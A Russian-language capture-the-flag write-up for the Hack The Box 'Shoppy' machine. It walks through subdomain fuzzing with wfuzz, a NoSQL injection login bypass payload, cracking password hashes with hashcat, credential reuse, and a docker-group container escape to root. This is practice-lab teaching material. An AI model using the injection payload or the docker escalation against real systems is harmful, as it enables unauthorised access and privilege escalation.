Writeup shoppy.htb [EASY]

Writeup shoppy.htb [EASY]

NetRunner

Сканирование

Для начала закинем машинку в /etc/hosts.

Посмотрим на сервисы, запущенные на машине:

PORT   STATE SERVICE VERSION                                         
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)   
80/tcp open  http    nginx 1.23.1

Посканим на возможные поддомены утилитой wfuzz, используя при этом словарь combined_subdomains из SecLists (Discovery -> DNS -> combined_subdomains) :

wfuzz -H "Host: FUZZ.shoppy.htb" 
-c -z file,"/usr/share/seclists/Discovery/DNS/bitquark-s
ubdomains-top100000.txt" -u shoppy.htb  --sc 200,202,204
,302,307,403     

mattermost.shoppy.htb                                      

Обнаружим доступный поддомен по адресу http://mattermost.shoppy.htb/ (редирект на http://mattermost.shoppy.htb/login), со страничкой авторизации. Не забываем добавить в /etc/hosts.

Также, при сканировании сабдиров, находим http://shoppy.htb/admin (редирект на http://shoppy.htb/login.

После небольшого ресерча, находим возможность обойти аутентифиnацию через NoSQL Injection (HackTricks).

Байпасим аутентификацию используя

admin' || ' 1==1

И получаем админскую панель, с отсутствием какой-либо полезной информации, однако интересной на первой взгляд возможностью поиска по пользователям.

Используя форму поиска юзеров и пэйлоад, найденный ранее, получаем список пользователей и хешей их паролей.

Используя hashcat в связке c rockyou ломаем хеш для юзера josh.

Логинимся под этими данными в найденный ранее сабдомен mattermost и получаем доступ к корпоративному мессенджеру для разработчиков.

В канале DeployMachine находим креды для ssh, подключаемся к тачке и получаем юзера.

Получаем рута

С помощью sudo -l обнаруживаем, что josh имеет доступ к команде /home/deploy/password-manager.

При попытке запустить программу видим следующее:

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: ****
Access denied! This incident will be reported !

Однако пароль можно найти если посмотреть на содержимое самого ELF-файла используя cat. В данном случае паролем являлось слово "Sample".

Вводим пароль, после чего получаем данные от ssh для юзера deploy , подключаемся к нему и оказываемся в контейнере.

Побег из контейнера

Проверим группы, связанные с пользователем deploy:

$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

Как можем видеть, среди них есть группа docker, что позволяет нам получить рут шелл:

This requires the user to be privileged enough to run docker, i.e. being in the docker group or being root.
Any other Docker Linux image should work, e.g., debian.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Информацию об этом можно прочитать в ресурсе GTFOBINS в разделе docker.

$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy), 998(docker)
$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# whoami
root
# ls /root
root.txt

 Rooted.

Report Page